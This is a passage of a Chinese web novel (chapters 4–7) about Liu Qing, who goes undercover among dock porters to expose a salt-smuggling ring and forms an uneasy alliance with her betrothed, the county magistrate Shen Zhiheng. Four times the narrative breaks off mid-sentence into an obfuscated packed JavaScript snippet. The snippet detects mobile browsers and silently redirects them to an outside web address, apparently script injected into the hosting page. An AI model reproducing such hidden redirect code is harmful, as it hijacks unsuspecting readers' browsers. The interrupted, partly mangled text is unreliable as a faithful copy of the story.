沈之衡见柳母动了怒，忙起身想靠近安抚，但桌下柳清的脚还轧在他脚上，他动弹不得，无奈道：“清儿，你我二人如今这番境地，有些话还是说清楚为好。你若不愿，我自不会强求。” 柳清见他并非一味油嘴滑舌，似乎还有转圜的余地，便稍稍把脚抬起半厘，却依旧板着脸：“沈大人明鉴，小女子如今满心皆是为父报仇之事，实在无心谈及儿女私情。待真相水落石出之日，你我二人的婚约，再做计较也不迟。” “好，我答应你。”沈之衡应得干脆，丝毫没有扭捏作态。 其实是因为脚疼得实在受不了了，待会儿离了这柳家，得去医馆看看。 柳清本以为还要费一番口舌，没成想沈之衡答应得如此爽快，倒让她有些意外。 她深深看了沈之衡一眼，这人神色坦荡，并无虚伪之色，心中对他的成见也消散了几分。 饭后，沈之衡拖着一只脚向柳母告辞，柳母还当他是坐久了脚麻，留他去屋中歇息，他连连摆手，以衙中事务繁忙为由，姿势怪异地走了。 柳清则独自一人盘算接下来的计划。 眼下，戏楼因贩卖私盐之事被查封，她必须另寻出路。 刘老板所说的货船即将靠岸，她不可能放弃这个机会。 …… 入夜，戌时，县衙。 沈之衡刚从医馆回来，正在书房翻阅卷宗，师爷急匆匆走近，附在他耳边低语几句。 “消息可靠吗？”沈之衡神色凝重。 师爷点头，“千真万确，货船今晚就会靠岸，‘接头人’会扮作力工模样，把货转移至城郊破庙中。” 沈之衡沉思片刻，吩咐道：“此事事关重大，万不可打草惊蛇。你派人暗中监视，没有我的命令，任何人不得轻举妄动。” “是，大人！”师爷领命而去。 与此同时，柳清已换上一身粗布麻衣，头发也用布巾包起，作男子打扮，来了码头。 她听说这里正在招扛大包的，一路打听着，来到招工之处。 “扛活！扛活！有力气，肯吃苦的都来！”满脸横肉的壮汉扯着嗓子吆喝。 柳清挤上前去，“这位大哥，招我吧。” 那壮汉上下打量她，“就你这小身板，扛得动吗？别到时候闪了腰，还得老子把你抬回去！” “大哥行行好，让我试试吧。”柳清压着嗓子，瓮声瓮气道，“家中老母卧病在床，就指着我挣钱糊口呢。” 壮汉看她眼神坚定，也不像是偷懒耍滑的，便点头道：“行吧，跟着我，别乱跑！” 柳清随那壮汉行至一艘货船前，但见船上货物堆积如山，几个工人正吃力搬运。 “嘿哟！嘿哟！” 随着一声声沉重的号子声，柳清也加入了搬货队伍。 柳清从小力气就大，柳父甚至有送她去军营建功立业的打算，只可惜军营不收女将士。 小时候的柳清一身蛮力无处施展，便把父亲种在院中的云柳一棵棵都给拔了，因此没少挨揍。 眼下她贴着假胡子，脸上涂着锅灰，再加上这一把子力气，竟没人怀疑她是女子。 夜幕低垂，码头上灯火如昼，人声喧嚣。 一艘商船缓缓靠岸，领头的力工吆喝一声，工人们便开始卸货，一包包货物从船舱里被递出来，堆积在码头上。 沈之衡也乔装打扮了一番，混杂在一群等着捡漏的商贩中，时不时探头探脑往船舱里张望。 “我说这位仁兄，你挤甚？这船上还没卸完呢。”旁边一个精瘦汉子不耐烦地推搡了沈之衡一把，语气粗声粗气。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13572338|142958||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沈之衡忙拱手作揖，脸上堆着客气的笑，“抱歉抱歉，在下也是好奇，想看看有没有什么稀罕物什。” “稀罕物什？哈，只怕你买不起！”那汉子翻了个白眼，语气中带着几分讥讽，显然把他当成了没见过世面的穷酸书生。 沈之衡也不恼，笑了笑，继续观察从船舱里搬出来的货。大多都是些布匹茶叶，偶尔夹杂着几箱瓷器，并无异常。 “我说你这后生眼力劲儿不行啊，老往船舱里瞅作甚？你要想捡漏，就得盯着那些搬运的力工！有些好东西，还没等搬到岸上呢，就被他们私底下给昧下了！”那精瘦汉子以为沈之衡真是来淘宝贝的，忍不住指点起来。 沈之衡顺着他的目光看去，但见几个工人正合力抬一口箱笼，箱笼外严严实实裹着油布，想来其中之物必然价值不菲。 那几人身后跟着一道瘦小的身影，竟独自一人抱着箱笼走了出来，箱笼落地之时，扬起一股灰尘，呛得周围众人一阵咳嗽。 沈之衡以袖掩鼻，眯起眼睛，想要看清扔箱子之人。 只见那身材瘦小的工人正拍打着身上的脏污，露出一张沾满锅灰的脸，奈何距离尚远，看不清五官，但从身形来看，应该是个年轻男子。 “你这夯货，作甚这般毛躁！这箱笼若是碰损了，你赔得起么！”一管事模样的青衣人走上前来，指着那工人便是一顿劈头盖脸的斥责，唾沫星子横飞。 那工人也不回嘴，只低眉顺眼地应道：“小的知错了，下次定当注意。” 沈之衡越看越觉得这力工眼熟，正待凑近细看，就听那管事又说：“这箱笼不要放在此处，随我去，搬到那边马车上去。”说罢，便抬脚去前头领路。 柳清抹了把鼻子，回头看向身后货船，有些不太想去。 她是来此处找接头人的，若是跟着管事走了，误了正事怎么办？ 可若是不去，这管事如此凶神恶煞，又该如何推脱？ 柳清正犹豫间，管事已走出去老远，回头见她没跟上，面露凶相，“哎！我说你这夯货，怎的还愣着？！还不快跟上！是不是不想干了！” 柳清无法，只得抱起箱笼跟上去，心中暗自打算速去速回。 两人穿过人群，来到码头边上一处僻静所在。那里停着一辆马车，车厢宽大，车身朴素，没有丝毫装饰，格外低调。 柳清敷衍地把手中之物往车上一扔，拍拍手便想离去，却突然间被一物什砸了脑袋。 她低头一看，地上一颗圆滚滚的银疙瘩转了一圈，停在她脚边。 “赏你的。”管事丢下一句话，转身便驾起马车，扬长而去。 还有这种好事？倒也不亏。 柳清捡起银疙瘩，掂量了一下，正欲放进嘴里咬一咬，突然，只听“咻”的一声，一只利箭擦过她耳边，直直追着马车而去。 说时迟那时快，“轰隆”一声巨响，还未走远的马车竟侧翻在地！马儿嘶鸣着挣扎，车厢里物品散落一地。 那管事反应倒是快，一看情况不对，立马弃车而逃，可刚跑出没几步，就被不知哪儿冒出来的官差死死按在地上。 事情发生得太过迅速，柳清还未反应过来，便被人从身后抓住肩膀，扭着手戴上了镣铐。 “大人，犯人已抓获！” 沈之衡举着火把近前，借着火光仔细一看，顿时愣住了。 眼前这灰头土脸的力工，一双眼清澈明亮，怎的和他未婚妻长得如此相像？ “沈、沈之衡……”柳清苦着脸，勉强笑了一下，“好巧啊，你也来看热闹？” 5. 第 5 章 侧翻的马车里，那箱刚被柳清搬上去的箱笼摔裂开来，里面白花花的盐粒散落一地。 管事作为转运私盐的主犯，被五花大绑押进了大牢。 柳清，疑似从犯，暂时无法脱罪，也被关进了牢房。 两人隔着一道栅栏，面面相觑。 大半夜的，四下寂静无声，柳清却双眼放光，终于说出了那句憋了好久的话：“公子可是喜爱听戏？小女子这儿有一出鸳鸯戏水，不知公子可愿赏脸共听？” 伪装成管事的接头人：“……夯货，现在是唱艳曲的时候吗？！” 暗号对上了！ 柳清当即哀嚎一声，“接头人老爷！我找您找得好辛苦啊——” “安静！牢房重地，岂容喧哗！” 狱卒怒喝一声，柳清赶紧噤声。 这接头人名唤路飞，戏楼被查封后，他收来的货暂时没了着落，便想着先运到城郊破庙中存放。 谁知信息链上不知怎的走漏了风声，今日被抓进这大牢，要想出去，恐怕只能等下辈子了。 思及此，路飞面露悲恸，悔恨的眼泪在眼眶里打转，堪堪掉落之际，隔壁牢房的夯货开始唱歌。 “咱们老百姓呀，今儿个真高兴……” “喂，夯货，你为何扮作男子打扮去码头当力工？”路飞哭不出来了，干脆找柳清搭话。 柳清因祸得福，短暂的庆祝过后，想起自己还有正事。 “接头人老爷，我是专门去找您的呀，”柳清瞥了眼牢门口的狱卒，压低声音，“小女子崇拜您，想学习您的手段，不知您可否收我为徒？” 路飞纵横江湖多年，杀人越货的事干了不少，收徒却从没想过，他上下打量着柳清，见她眼神真诚，不似作伪，便问道：“你崇拜我什么？” “接头人老爷运筹帷幄之中，决胜千里之外，黑白两道通吃，是这世间不可多得的人才！那京城的位置，该当您坐才是！” 柳清半月前就打好草稿了，因而此时说出来，半点磕巴不打。 这话可谓大逆不道，但路飞显然很受用，抚掌不敢大笑，肩膀抖如糠筛，笑着笑着，他猛然想起什么，脸上的笑意也敛了起来。 他犯的事足够砍他脑袋十次，必不可能被无罪释放，但隔壁那夯货不同。 这姑娘什么都不知道，完全是被他利用的，说到底只是个无辜受害者，待官府查明真相，便会将她放了。 若是能让这夯货替自己去搬救兵……只要计划周全，未必没有逃出生天的机会！ 况且这夯货如此崇拜自己，想来不会拒绝。 “喂，丫头，我答应收你为徒了。”路飞想让自己和蔼些，也不叫她夯货了。 柳清正发愁怎么取得路飞的信任，好接着套他话，听他主动示好，心中一喜，“当真？！” “自是真的，但我有条件，你且附耳过来。”路飞招了招手，将自己的计划和盘托出，“黑狼山……黑狼寨……你去……然后……听清楚了吗？” 未时，县衙书房。 沈之衡看着师爷整理出的码头力工名单，眉头紧了又紧。 “从犯柳清，可查出什么了？”他问。 师爷站立一旁，困得眼睛都睁不开了，闻言，扇了自己两巴掌，回道：“那力工女扮男装，非码头固定工人，而是货船到达前半个时辰才临时加入的，身份虽可疑，但在我们掌握的私盐线路上，并未发现有这么号人，待明日下官再……” 沈之衡“啪”地把手中名单一拍，“既没证据，那不就是抓错人了？怎可让无辜百姓在牢中白白受苦？速速将她释放！” “大人，这……”师爷面露难色，“牢房重地，哪能说进就进，说放就放的？况且，那柳清……” “况且什么？难不成你还怀疑本官徇私枉法？” “下官不敢！” 寅时，天边已泛起鱼肚白。 柳清被两个狱卒护送，推出了县衙。 沈之衡早已等在门口，见她出来，拉着她的胳膊，正面背面，从头到脚都检查过一遍，确认并无伤痕，才暗暗松了口气。 他本想问问柳清，为何要去码头？为何女扮男装？为何要当力工？ 但话到嘴边，只一句：“饿不饿？” 凌晨的街上，已有早点铺子开始营业。 两人行至一家豆面摊，柳清止住步子闻了闻，“好香！老板，来两碗豆面，多加辣子！” 沈之衡跟着她落座，“我还不饿，不用给我点。” “谁说给你点了？”柳清白了他一眼，将两碗豆面都拉到自己面前，“这两碗都是我的！” 她吃相豪放，全然不顾形象，嘴角沾了辣椒油也毫不在意。 沈之衡看着看着，嘴角竟不自觉上扬，多久没见过这般鲜活的人了？ 一碗下肚，柳清意犹未尽，拿过第二碗开始吃，肚中已半饱，因而这第二碗吃得就斯文了些。 这个时间，来吃早点的都是些码头工人和贩夫走卒，柳清边吃边观察这些人。 忽而她想到什么，开口：“沈大人……” 沈之衡：“不必见外，唤我之衡就好。” 柳清：“沈大人，我被关进大牢的时候，狱卒把我的一颗银疙瘩收缴了，不知沈大人可否做主，帮我把银子要回来？” 沈之衡抬手给她到了杯水，摇头，“那钱乃赃物，按律法需得没收，你若需要钱，我这有，你先用着，不够再与我说。” 说着，他从袖中掏出一锭银子，约莫是那银疙瘩的十倍。 “不要你那臭钱！”柳清有意和他划清界限，端起碗去了隔壁桌。 码头的力工是按件付工钱，扛一个大包给十文钱。 那颗银疙瘩算是意外之财，没了也便罢，但她扛大包的工钱可是实打实的辛苦钱。 因意外被关进大牢，导致她的工钱还没结，也不知下次再去码头，那工头还认不认她这号人。 柳清盘算着，要不现在就去码头碰碰运气，说不定那工头还没走。 刚这么想着，隔壁桌落座一彪形大汉，嗓门极大地要了三碗豆面。 柳清一瞧，乐了，这不就是招自己当力工的工头吗？当即就找了上去，“大哥，工钱还没给我结呢。” 工头抬头一看，是个年轻姑娘，不认识，脸色便不太好看，“哪来的小丫头，敢跟老子要钱？活得不耐烦了？！” 他撸起油腻腻的袖子，露出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13572339|142958||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 胳膊上虬结的肌肉，试图吓退柳清。 柳清早前扮作男人时贴的假胡子，在混乱中早已掉落，但她完全忘了，只当这工头想要赖账，自然不肯干休，一把揪住他衣襟，怒道：“欺负老实人是吧？速速将工钱付了，否则咱们去县衙说道说道！” 沈之衡欲上前帮忙，被柳清推开，“没你事，站远点。” 那工头被柳清拽得直翻白眼，嘴里骂骂咧咧，却在挣扎间，不小心碰掉了腰间挂着的一个小布袋。 布袋落地，洒出了些白色颗粒，隐隐闪着细碎的光。 柳清眼尖，一眼就认出那是盐粒，更加不能放手。 那工头见盐袋掉落，顿时慌了神，也顾不得和柳清纠缠，弯腰就想将盐袋捡起来。 柳清眼疾手快，一脚踩在那盐袋上，大喝道：“沈之衡，这人随身带着这么多盐，肯定和码头的案子脱不了干系，快把他抓起来！” 那工头发觉事态不妙，心知今日怕是难逃一劫，索性心一横，猛地推开柳清，转身就跑。 “别跑！”柳清早有防备，在他转身的瞬间就追了上去。 沈之衡当机立断，拉响身上带的信号弹。 红色火花在空中炸开，衙门里的官差响应迅速，即刻往事发现场赶来。 柳清身形矫健，始终紧咬在那工头身后，两人一追一赶，竟跑到城郊的树林里。 “臭丫头！你给老子等着！”工头跑至一处，忽的停下脚步，回身放了句狠话。 “等你个头！”柳清可没工夫和他废话，一个箭步冲上去，对着那工头的肚子就是一拳。 工头也不是吃素的，肥厚的肚皮堪比城墙，硬生生扛下这一拳。他怪叫一声，反手就朝柳清抓来，柳清侧身躲过，两人扭打在一起。 官差们赶到时，正巧看到柳清一脚将人踹翻在地，把人高马大的工头按着打，一时竟不知该不该上前帮忙。 “都愣着干什么？还不快去帮忙！”沈之衡骑马赶到，见此情形，连忙喝令道。 官差们这才如梦初醒，提着刀就冲了上去。 沈之衡翻身下马，许是太过着急，脚下一时踩空，竟生生摔了个屁股墩儿。 柳清听见动静，分神朝沈之衡看了一眼，见他摔倒在地，顿觉好笑，“沈大人，你这身手也该练练了。” “你还有心思笑！”沈之衡又气又怕，“还不快过来！” 柳清还想再调侃他几句，却见沈之衡面色铁青，顿时收了声。正好官差也已就位，料想工头跑不了，便不再多言，乖乖地朝他走去。 谁知，异变突生！几支利箭破空而来，直直射向场中众人！ “小心！”柳清惊呼一声，下意识将沈之衡扑倒在地。 利箭几乎贴着两人的头皮飞过，“嗖嗖”几声，钉在了身后的树干上，箭尾嗡嗡震颤。 柳清一天遇上两次飞箭事件，心脏受不住，短暂地失去了思考能力，只觉耳边传来沈之衡温热的鼻息，心中竟涌起一股陌生的情愫。 沈之衡迅速反应过来，将柳清护在身下，沉声道：“别怕，有我在。” 柳清被他圈在怀里，动弹不得，只能听见他强有力的心跳声，一下一下，震得她脑袋发晕。 6. 第 6 章 射箭之人似乎并不恋战，一击不中，便迅速消失在密林深处。 沈之衡不敢大意，忙招呼衙役将柳清和那工头团团围住，以防刺客再次偷袭。 他站起身来，目光扫过四周，沉声问道：“可有看清刺客是何模样？” 衙役们面面相觑，皆是摇头。 沈之衡面色凝重，却一时理不清头绪。这刺客来得蹊跷，目标似乎是他，却又不像单纯的刺杀，更像是为了阻止他们抓捕那名工头。 眼看着那工头被五花大绑地押了下去，柳清这才松了口气，回身想去找沈之衡，却见他正一脸不悦地盯着自己。 “沈大人，你没事吧？”柳清自知理亏，语气也不自觉软了几分。 “你说呢？”沈之衡带着愠色看她，“下次再这般鲁莽行事，别怪本官对你不客气！” 柳清撇了撇嘴，小声嘟囔道：“要不是我出手及时，那犯人早跑了，你不感谢我就算了，生的哪门子气……” 沈之衡自然听见了她的抱怨，却也不反驳，拍了拍身上灰尘，准备去牵马。 柳清这才发现，他的袖子不知何时划破了一道大口子，白皙的皮肤上赫然挂着几道血痕。 “你受伤了！”柳清惊呼一声，连忙抓住他的手查看，“疼不疼？快快快！我们去医馆！” “一点小伤，不碍事。”沈之衡想抽回手，奈何柳清力气太大，他几乎挣脱不得，只能无奈道，“案子还没查清楚，先回衙门再说。” “你这人怎么好赖话不听呢！”柳清见他嘴硬，索性心一横，拦腰便将沈之衡打横抱起，吓得沈之衡惊呼出声，“柳清！你这是做什么？快放我下来！成何体统！” 柳清充耳不闻，翻身上马，也不管沈之衡坐好没，一夹马腹直奔城中医馆而去。 只是可怜了沈县太爷，被柳清圈在双臂中，只分得半个马鞍，硌得屁股生疼。 他本想和柳清保持些距离，奈何马背颠簸，他一个不查，整个人便贴进了柳清怀中。 柳清：“你坐稳些，别乱动！” 沈之衡无语凝噎，只得咬着牙在心里默念金刚经。 好在医馆和衙门离得近，上过药后，沈之衡说什么也不肯再骑马，一瘸一拐地小跑进了衙门。 柳清倒也没在意，自顾自跟在他身后，嘴里还振振有词：“沈大人，这案子我是当事人，你审问犯人，我得旁听，也好帮你参谋参谋不是？” 沈之衡脚步一顿，回头瞪了她一眼：“你一个姑娘家，成日里打打闹闹也就罢了，还要听审犯人，也不怕污了耳朵？” “这有什么可污的，”柳清不以为意，“我爹以前常给我讲案子，我从小就对这些感兴趣。” 沈之衡还想再说什么，但见柳清一副“你不让我去我就赖在这里不走了”的架势，只得无奈叹气，摆了摆手道：“罢了罢了，随你吧。” 在去大牢审讯之前，沈之衡需得去书房找些卷宗。 书房里，小衙役们给柳清奉上茶水，识趣地退到一旁，却忍不住拿眼睛偷偷打量她。 这柳姑娘好大的胆子，居然敢在县老爷的书房里随意走动，而且看县老爷对她那般容忍的态度，莫非…… 其中一个胆子大的小衙役忍不住问：“姑娘，您和我们老爷是……” 柳清眼珠一转，指着沈之衡的背影，笑盈盈道：“我是你们老爷未过门的娘子，怎么，不像吗？” 小衙役们一听，顿时恍然大悟，看向柳清的眼神多了几分敬畏。 是啊，除了县老爷未来的夫人，谁还敢这般肆无忌惮？ 听到如此言论，沈之衡手中的卷宗哗啦一声滑落在地，他猛地转身，撞上柳清盈盈的目光，她眼角弯弯，眸中狡黠之色一闪而过。 屏退衙役们，沈之衡咬牙切齿道：“你又想搞什么鬼？” 柳清收起脸上笑意，“沈大人，我想好了，我要跟你合作。” 沈之衡拧眉不解，只听柳清继续道：“早些时候我对指腹为婚这事颇有微词，但现在我改主意了，沈大人为官清廉公正，是个不可多得的人才。我需要你在县衙的权力和资源，有了你的助力，我定能更快查清父亲的案子。” “等等！”沈之衡像看傻子一样盯着柳清，“合作是互利共赢的事，说了这么多，怎么听着都是利于你的，我能获得什么？” 柳清：“我答应做你娘子了，这还不够吗？” 沈之衡怒瞪她一眼：“胡闹！我拒绝！” 柳清一听，坐不住了，从桌案上跳下，“那你想要什么？沈之衡，做人可不能太贪心。” 沈之衡只觉一口气堵在胸口，不上不下。 他算是看出来了，这丫头看似大大咧咧，实则鬼主意多得很，每句话都带着陷阱，就等着他往里跳。 若是换了旁人，他早就命人乱棍打出去了，偏偏这人是柳清，是他指腹为婚的未婚妻，他还不能真把她怎么样！ 柳清想要的无非是查清她父亲的案子，而他身为父母官，查案本来就是分内之事，两人目标一致，合作倒也未尝不可。 但案情凶险，柳清一介女流，若是参与其中，只怕会遇到危险。 况且以“娘子”之名作为交换，怎么想都觉得荒唐，婚姻大事岂能如此儿戏！ 沈之衡心中天人交战，半晌，他长叹一声：“罢了，我可以答应和你合作，但你必须答应我，一切行动听我指挥，不可擅自行动，更不可以身犯险。” 柳清闻言，眼睛一亮，原本就灵动的眸子更加光彩照人，“我就知道沈大人最好了，你放心，我肯定乖乖听话，绝不给你添乱！” 沈之衡耳根微微泛起薄红，不自然地偏过头，轻咳一声，“时候不早了，犯人明日再审，我唤衙役送你回家。” 说罢，他便转身向外走去，不再给柳清说话的机会。 柳清在小衙役的护送下往衙门外走，心中暗暗盘算，这沈之衡看着一本正经，没想到还挺好说话，看来这桩婚事也不是全然没有好处。有了县衙这层关系，自己查案就方便多了。 至于婚约，不过是权宜之计，等她查明真相，自然有办法解除。 她正想着，忽然听到一阵杂乱的脚步声，伴随着衙役们恭敬的问候：“大人。” 柳清随旁人退至一边，好奇抬头，只见一位身穿绯色官袍的中年男子，在一众衙役的簇拥下，龙行虎步地走了进来。 那男子约莫四十岁上下，面容方正，留着三绺长须，不怒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13572340|142958||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自威。 “这位是？”柳清向旁边的小衙役打听。 “嘘，小声点！”小衙役紧张地看了眼那绯袍官员，凑到柳清耳边低声道，“这位是当朝监察御史，胡大人，此次前来咱们清河县，应当是为了督办私盐案的。” 柳清恍然大悟，怪不得阵仗如此之大，原来是京里来的钦差大臣。 她目送胡御史进了书房，有个问题却想不明白。 这私盐案牵扯甚广，她爹生前也一直在查，却始终没有实质进展，怎么新官上任没多久，京里就派人下来督办了？ 她按捺住满腹疑问，转身出了衙门。 与其在这里干等着，倒不如去探探那胡御史的底细。只是，该从何处下手呢？ 柳清一边思索，一边漫不经心地走在街上，不知不觉间，竟走到了城西一家医馆前。 她脚步一顿，拐进去开了几方外伤药，再次折回了县衙。 看门的衙役认出她来，想起沈之衡之前的交代，不敢怠慢，点头哈腰地将她迎了进去，“柳姑娘，您怎么又回来了？可是有什么东西落下了？” “我有些不舒服，想进去休息一会儿，可以吗？”柳清捂着胸口，眉头微蹙，一副虚弱的模样。 那衙役本就是个热心肠，见她手里还提着药包，不像作伪，便不再多问，将她引到一间厢房休息。 待衙役离开，柳清悄悄来到书房外。 隔着窗户纸，隐约能听到两人的对话。 胡御史：“沈大人，你也是从京城来的，应该知道这私盐案非同小可。如今那放冷箭的刺客都跑到眼皮子底下了，你竟将人放跑，这要是传回京城，你该如何向皇上交代？” “下官自然明白此案的重要性，但敌暗我明，在场还有无辜百姓，不能贸然行事。”沈之衡语气沉稳，不卑不亢。 “哼，说得好听！什么无辜百姓，说不定与那歹人是一伙的，故意扰乱视听！”胡御史显然对此说辞并不满意。 “胡大人慎言！”沈之衡语气微冷，竟是动了怒。 当时那冷箭自林中射出，柳清第一时间就朝他扑来，若非如此，他恐怕早已身负重伤。 如此良善之人，怎能随意诬陷！ 胡御史显然没料到沈之衡会是这番反应，愣了一下，一时语塞。 门外，师爷来书房汇报案情，正好撞见在门外偷听的柳清。 “柳姑娘，你这是……” 柳清反应极快，立刻做出头疼欲裂的模样，一手扶墙，一手按额头，嘴里还断断续续呻吟着：“哎哟……头疼……”边说边就要往外走，完美演绎了什么叫“做贼心虚”。 如此拙劣的演技，竟把师爷骗住了。 “柳姑娘，不打紧吧？要不我送你去医馆？” 柳清哪敢接话，只顾着摇头，脚步虚浮地往前挪动，恨不得自己会瞬移的功夫，好立刻消失在这是非之地。 屋内的两人察觉到外面的动静，对话声戛然而止。 “外面何人喧哗？”胡御史沉声问道。 沈之衡没说话，起身走到门边，伸手便要推门。 柳清眼看那门就要被推开，心里暗道一声“糟糕”，也顾不上装病了，拔腿就跑。 7. 第 7 章 柳清一路飞奔逃回厢房，心还砰砰直跳。 她一把抓起桌上的茶壶，不顾茶水早已凉透，仰头灌下半壶，这才觉得呼吸顺畅了些。 刚想坐下来歇口气，身后却突然传来“吱呀”一声，房门被人从外面推开了。 柳清心头一惊，慌忙回头，只见沈之衡立在门边，正面色冷峻地望着她。 他怎么来了？难道被发现了？ “沈大人，有事？”柳清故作惊讶，偷偷观察沈之衡的神色，试图从他脸上看出点什么。 沈之衡没说话，只是迈步进来，反手关上房门。 他每走近一步，柳清就觉得身上的压力又重了几分。她下意识往后退，直到后背抵住桌子，退无可退。 沈之衡终于开口了，语气听不出喜怒，“师爷说你头痛，我看着不像。说吧，鬼鬼祟祟躲在门外，想干什么？” “那个，我，我……”柳清被他看得心里发慌，磕磕巴巴地解释道，“我特意去城西的回春堂抓了几服药，其实，我是专程回来给你送药的。” 她说着，将手中药包往前递了递，脸上挤出个比哭还难看的笑容。 沈之衡的目光落在药包上，眉头微微一挑，却没有伸手去接。 柳清暗暗叫苦，完了完了，编瞎话的最高境界是九真一假，可她这番说辞，却是九假一真，就怕他一查问，立马露馅。 “那个……沈大人，您若是不需要，那我便……”柳清说着，作势要收回手。 “等等。”沈之衡终于有了动作，他伸手，却没有去接药，而是握住了她的手腕。 他指尖温热干燥，轻触在她冰凉的腕上，对比鲜明。柳清只觉一股热意自他指尖传来，瞬间蔓延至全身，烧得她面颊滚烫，心跳如鼓。 “既是未来娘子给的，哪有不要之理。”沈之衡的声音低沉悦耳，像是情人间的呢喃，却暗藏几分山雨欲来之势。 “未来娘子”这四个字，从沈之衡嘴里说出来，怎么听怎么别扭。 柳清暗暗翻了个白眼，这人还真是会顺杆爬，占便宜没够。 她想要抽回手，却被沈之衡握得更紧。他看着她的眼睛，一字一句道：“怎么，合作的事不作数了？” “自然作数，但……” “既然作数，那便请未来娘子帮我上药，就以情报交换如何？” 沈之衡说着，拽着柳清来到床榻旁坐好，挽起衣袖露出伤口。 若只是上药，便能换取情报，这笔买卖倒也划算。 因而柳清没有丝毫犹豫，翻出药包里的金疮药，就要动手。 见药包里真的有金疮药，沈之衡微不可查地松了松肩膀。 胡御史刚才说的那番话，他虽极力反驳，但并非没有听进去。 他与柳清分别时还年幼，这么多年过去，柳清成长为什么样的人，他其实根本不了解。 但眼下，柳清特意离了衙门给他买药，可见其心思柔软良善，绝对不可能像胡御史说的那样，和放冷箭的歹人是一伙的。 想到此处，沈之衡不禁弯了弯嘴角。 他的伤口其实在医馆时已处理过了，根本不需要再上药。但他故意装作伤口疼，一方面是想试探柳清去而复返的来意，另一方面，也是想增加两人的相处机会，多培养些感情。 只是他没想到，柳清手劲竟然这么大！ “嘶——” “啊，抱歉抱歉！”柳清连忙道歉。 她自小习武，习惯了粗枝大叶，这上药的动作，自然也轻柔不到哪里去。 沈之衡疼得直吸凉气，心里暗暗后悔，可当他看到柳清微微蹙眉，认真对着伤口吹气的模样，心中却又泛起一丝微妙的愉悦。 而柳清这边想的是，这沈之衡看着人高马大的，怎么动不动就喊疼，也不知是不是装的。 伤口包扎好，柳清如释重负地吐了口气，“好了，情报拿来。” 沈之衡低头看着裹得像粽子一样的胳膊，沉思片刻说：“这药还得再上几日才好得快，明日可别忘了再来，伤好后才能换得情报。” “什么？明日还来？”柳清瞪大了眼，“沈之衡，你这伤口明日便可结痂，哪里用得着天天上药？” “那可不行，”沈之衡一本正经道，“我这胳膊疼，办案也就没精神，若是耽搁了案子的进度，你也落不着好不是？” 柳清被他这番话气得牙痒痒，偏偏又不好发作，只得皮笑肉不笑地回：“沈大人说的是，一切以查案为先，我明日一定准时赴约，为沈大人您效劳。” 说罢，柳清便要起身离开，却被沈之衡一把拉住。 她疑惑回头，沈之衡却没解释，只拉着她穿过长廊，来到一处幽静的小院。 “我的内院。”沈之衡言简意赅。 “带我来这里做什么？”柳清秀眉微蹙，更加不解。 沈之衡从袖中掏出一块令牌递给她，“拿着，这是我的家眷令牌，以后来衙门可直接从仪门进来，能省不少麻烦，至于那胡御史，我建议你离他远点，他可不像我这么好说话。” 柳清心中一暖，面上却不动声色，“沈大人这是何意？莫非是怕了我，故意讨好吗？” 沈之衡轻笑一声，反问道：“你说呢？” 他眸光灼灼，映着月色，竟有几分温柔缱绻。 恰在此时，院外传来一阵喧嚣，未见其人，先闻其声。 “沈大人！你在里面吗？下官有要事禀报！” 柳清闻声望去，只见一个身穿捕快服饰，身材魁梧的男子站在院门口。那人浓眉大眼，皮肤黝黑，正是县衙的捕头杨观。 杨观是柳清父亲生前的旧部，也是为数不多知道柳清真实身份的人。 自从柳父去世后，柳清便鲜少与衙门的人来往，杨观曾多次登门拜访，都被她拒之门外。 沈之衡听到动静，眼中掠过一丝不悦，却也只能出去回应。 杨观抱拳行礼，目光越过沈之衡，落在柳清身上，惊喜道：“柳姑娘，竟是你！好久不见，你……” 他本想说“你过得好吗”，但话到嘴边又觉得不妥，毕竟柳清父亲的案子至今未破，她一个弱女子无依无靠，日子想必不好过。 “杨捕头，好久不见。”柳清微微点头，算是回应。 杨观许久未见柳清，此时再见，心中自然是激动万分，拉着柳清问长问短，全然忘了此行目的。 沈之衡站在一旁，看着两人相谈甚欢，脸色却渐渐阴沉下来，心中莫名升起一股烦躁。 他用力咳了一声，不动声色地隔开两人，摆出县太爷的架子沉声道：“杨捕头，你不是说有要事禀报吗？” 杨观被沈之衡问得一愣，这才想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 